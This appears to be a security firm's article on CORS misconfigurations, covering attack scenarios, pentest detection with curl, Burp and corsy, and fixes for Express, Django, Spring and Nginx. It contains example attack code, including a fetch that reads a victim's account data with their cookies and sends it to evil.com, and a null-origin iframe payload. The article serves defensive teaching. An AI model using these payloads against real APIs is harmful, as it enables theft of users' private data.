CORS - Cross-Origin Resource Sharing Fehlkonfiguration
CORS misconfigurations with wildcard origins let attackers send cross-site requests with user credentials. How to detect and fix insecure CORS policies.
Table of Contents (4 sections)
Summary: CORS misconfigurations occur when web servers return
Access-Control-Allow-Originwildcards or unvalidated origins. Attackers can send cross-site requests with cookies from the victim’s browser and read sensitive API responses. This is particularly critical whenAccess-Control-Allow-Credentialsis set totrue. Mitigation: Validate a strict origin whitelist on the server side; do not combine wildcards with credentials.
CORS (Cross-Origin Resource Sharing) is a browser security mechanism that allows exceptions to the Same-Origin Policy for legitimate cross-origin requests. Misconfigurations in CORS headers allow attackers to send API requests to sensitive endpoints from the browser of a logged-in user and read the responses—an attack that the Same-Origin Policy is actually intended to prevent.
The Basic Principle of CORS
Same-Origin Policy (SOP): The browser does NOT allow JavaScript on site-a.com to read responses from site-b.com (requests can be sent—but the response is blocked).
CORS Exception (if the server agrees):
Access-Control-Allow-Origin: https://site-a.com
The browser then allows JavaScript to read the response.
Misconfigurations:
Access-Control-Allow-Origin: * ← Wildcard
Access-Control-Allow-Origin: null ← null Origin
Access-Control-Allow-Origin: <geklont aus="" request="">← Echo
Problematic combination:
Access-Control-Allow-Credentials: true ← Send cookies!
Access-Control-Allow-Origin: * ← Browser BLOCKS this
Access-Control-Allow-Origin: <echo>
← DANGEROUS!
Attack Scenarios
Scenario 1 - Origin Echo with Credentials
Vulnerable server code simply returns the request origin:
Access-Control-Allow-Origin: $REQUEST_ORIGIN
Access-Control-Allow-Credentials: true
Attack from attacker's site (evil.com):
fetch('https://api.bank.com/account/balance', {
credentials: 'include' // Sends session cookie!
})
.then(r => r.json())
.then(data => {
// Attacker reads account balance!
fetch('https://evil.com/steal?data=' + JSON.stringify(data));
});
Process: Victim visits evil.com → Browser sends request to api.bank.com WITH session cookie → Server responds (CORS allows it due to Echo configuration!) → JavaScript reads sensitive data → Data is exfiltrated to evil.com.
Scenario 2 - Null Origin
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://api.target.com/private', { credentials: 'include' })
.then(r => r.text())
.then(d => parent.postMessage(d, '*'));
</script>
"></iframe>
data: URLs have Origin: null - the server allows null, the iframe can read.
Scenario 3 - Subdomain Takeover + CORS
CORS whitelist: *.company.com - if staging.company.com is compromised via subdomain takeover, the attacker can send CORS-allowed requests to api.company.com from there.
Scenario 4 - Regex bypass in origin validation
Server regex: /^https://company\.com$/
Escaping error: /https://company.com/ (period not escaped)
→ companyXcom, company-evil.com also match!
Detection in the Penetration Test
1. Simple CORS check via curl
# Test: Send Origin and check response
curl -v -H "Origin: https://evil.com" \
https://api.target.com/api/user
# Check response header:
# Access-Control-Allow-Origin: https://evil.com ← ECHO! Check!
# Access-Control-Allow-Credentials: true ← CRITICAL!
2. Systematic Origin Tests
# Test different origins:
curl -H "Origin: https://evil-target.com" https://target.com/api/
curl -H "Origin: null" https://target.com/api/
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
curl -H "Origin: https://evil.com" https://target.com/api/
3. Burp Suite CORS Testing
- Set Origin header to evil.com
- Response: Check Access-Control-Allow-Origin?
- If allowed: Test with credentials
- Extend to private endpoints
4. Tool: corsy (Python)
# Automated CORS scanner:
python3 corsy.py -u https://target.com/api/ -t 10
# Checks for all known CORS misconfigurations
5. Check critical endpoints
/api/user,/api/profile(PII)/api/payment,/api/account(Finance)/api/admin(privileged operations)/api/token,/api/auth(Authentication)
Severity Levels
| Severity | Configuration |
|---|---|
| CRITICAL | ACAO: Echo + ACAC: true + sensitive endpoints |
| HIGH | ACAO: null + ACAC: true |
| MEDIUM | ACAO: * (without credentials - no session access) |
| INFO | ACAO: * on public API without sensitive data |
Mitigation Measures
1. Strict Origin Whitelist (THE ONLY Correct Method)
// Node.js/Express:
const allowedOrigins = [
'https://app.company.com',
'https://www.company.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
// Always check against a static whitelist!
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // Prevent cache poisoning!
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
// WRONG (Echo):
// res.setHeader('ACAO', req.headers.origin); // NEVER!
2. CORS Configuration via Framework
# Python (Django) - settings.py:
CORS_ALLOWED_ORIGINS = [
"https://app.company.com",
"https://www.company.com"
]
# DO NOT USE: CORS_ORIGIN_ALLOW_ALL = True !
CORS_ALLOW_CREDENTIALS = True
// Java (Spring):
@CrossOrigin(origins = {"https://app.company.com"},
allowCredentials = "true")
// Do not use @CrossOrigin(origins = "*") with allowCredentials!
# Nginx - allows only these exact origins:
if ($http_origin = "https://app.company.com") {
add_header 'Access-Control-Allow-Origin' $http_origin;
add_header 'Access-Control-Allow-Credentials' 'true';
}
3. ALWAYS set the Vary header when the origin is dynamic
Vary: Origin
Prevents proxy caches from caching incorrect CORS responses.
4. Handle preflight requests correctly
OPTIONS /api/data HTTP/1.1
→ Return only allowed methods/headers:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
5. Never combine credentials with wildcards
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers already block this—but never use Echo as a workaround!
6. Never allow null origins
if (origin === 'null') return; // Reject null!
// data: URLs and sandboxed iframes send null
7. For internal APIs without browser access
Disable CORS (no Allow-Origin header) – CORS is only necessary for APIs consumed by browsers.
Questions about this topic?
Our experts advise you free of charge and without obligation.
About the Author
Geschäftsführender Gesellschafter der AWARE7 GmbH mit langjähriger Expertise in Informationssicherheit, Penetrationstesting und IT-Risikomanagement. Absolvent des Masterstudiengangs Internet-Sicherheit an der Westfälischen Hochschule (if(is), Prof. Norbert Pohlmann). Bestseller-Autor im Wiley-VCH Verlag und Lehrbeauftragter der ASW-Akademie. Einschätzungen zu Cybersecurity und digitaler Souveränität erschienen u.a. in Welt am Sonntag, WDR, Deutschlandfunk und Handelsblatt.
10 Publikationen
- Einsatz von elektronischer Verschlüsselung - Hemmnisse für die Wirtschaft (2018)
- Kompass IT-Verschlüsselung - Orientierungshilfen für KMU (2018)
- IT Security Day 2025 - Live Hacking: KI in der Cybersicherheit (2025)
- Live Hacking - Credential Stuffing: Finanzrisiken jenseits Ransomware (2025)
- Keynote: Live Hacking Show - Ein Blick in die Welt der Cyberkriminalität (2025)
- Analyse von Angriffsflächen bei Shared-Hosting-Anbietern (2024)
- Gänsehaut garantiert: Die schaurigsten Funde aus dem Leben eines Pentesters (2022)
- IT Security Zertifizierungen - CISSP, T.I.S.P. & Co (Live-Webinar) (2023)
- Sicherheitsforum Online-Banking - Live Hacking (2021)
- Nipster im Netz und das Ende der Kreidezeit (2017)